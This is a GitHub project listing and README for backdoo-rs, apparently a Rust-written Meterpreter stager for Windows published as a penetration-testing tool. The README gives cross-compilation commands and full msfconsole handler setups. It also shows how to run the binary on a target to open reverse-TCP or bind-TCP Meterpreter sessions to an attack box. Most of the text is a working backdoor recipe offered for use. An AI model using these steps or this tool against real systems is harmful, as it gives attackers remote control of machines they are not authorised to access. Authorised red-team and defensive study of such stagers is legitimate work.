https://github.com/0xdea/backdoo-rs
A simple Meterpreter stager written in Rust.
https://github.com/0xdea/backdoo-rs
metasploit-framework meterpreter rust tactical-exploitation windows
Last synced: about 1 year ago
JSON representation
A simple Meterpreter stager written in Rust.
- Host: GitHub
- URL: https://github.com/0xdea/backdoo-rs
- Owner: 0xdea
- License: mit
- Created: 2024-07-11T07:49:29.000Z (almost 2 years ago)
- Default Branch: master
- Last Pushed: 2024-09-16T10:41:07.000Z (over 1 year ago)
- Last Synced: 2025-03-20T13:13:30.390Z (about 1 year ago)
- Topics: metasploit-framework, meterpreter, rust, tactical-exploitation, windows
- Language: Rust
- Homepage: https://0xdeadbeef.info
- Size: 30.3 KB
- Stars: 35
- Watchers: 2
- Forks: 6
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# backdoo-rs
[](https://github.com/0xdea/backdoo-rs)
[](https://github.com/0xdea/backdoo-rs)
[](https://github.com/0xdea/backdoo-rs)
[](https://twitter.com/0xdea)
[](https://infosec.exchange/@raptor)
> "Launch the Polaris
> The end doesn't scare us
> When will this cease?
> The warheads will all rust in peace"
>
> -- Megadeth, Rust in Peace... Polaris (1990)
Minimalistic Rust implementation of the main staging protocols used by the Metasploit Framework.
Start an `exploit/multi/handler` instance on the attack box configured to handle one of the supported
payloads, run `backdoo-rs.exe` on the target Windows system, and enjoy your session!
Blog post:
https://security.humanativaspa.it/learning-rust-for-fun-and-backdoo-rs
See also:
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.py
https://github.com/0xdea/tactical-exploitation/blob/master/letmein.ps1
https://github.com/0xdea/tactical-exploitation/blob/master/letme.go
## Cross-compiling
```
[macOS example]
$ brew install mingw-w64
$ rustup target add x86_64-pc-windows-gnu
$ cargo build --release --target x86_64-pc-windows-gnu
```
## Usage
```
C:\> backdoo-rs.exe [:port | host:port]
```
## Examples
Reverse shell:
```
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.66
msf > exploit
[on the target box]
C:\> backdoo-rs.exe 192.168.0.66:4444
```
Bind shell:
```
[on the target box]
C:\> backdoo-rs.exe :4444
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf > set RHOST 192.168.0.20
msf > exploit
```
## Supported payloads
* windows/x64/meterpreter/reverse_tcp
* windows/x64/meterpreter/bind_tcp
## Tested on
* Microsoft Windows 10
* Microsoft Windows 11
* Microsoft Windows Server 2016
* Microsoft Windows Server 2019
* Microsoft Windows Server 2022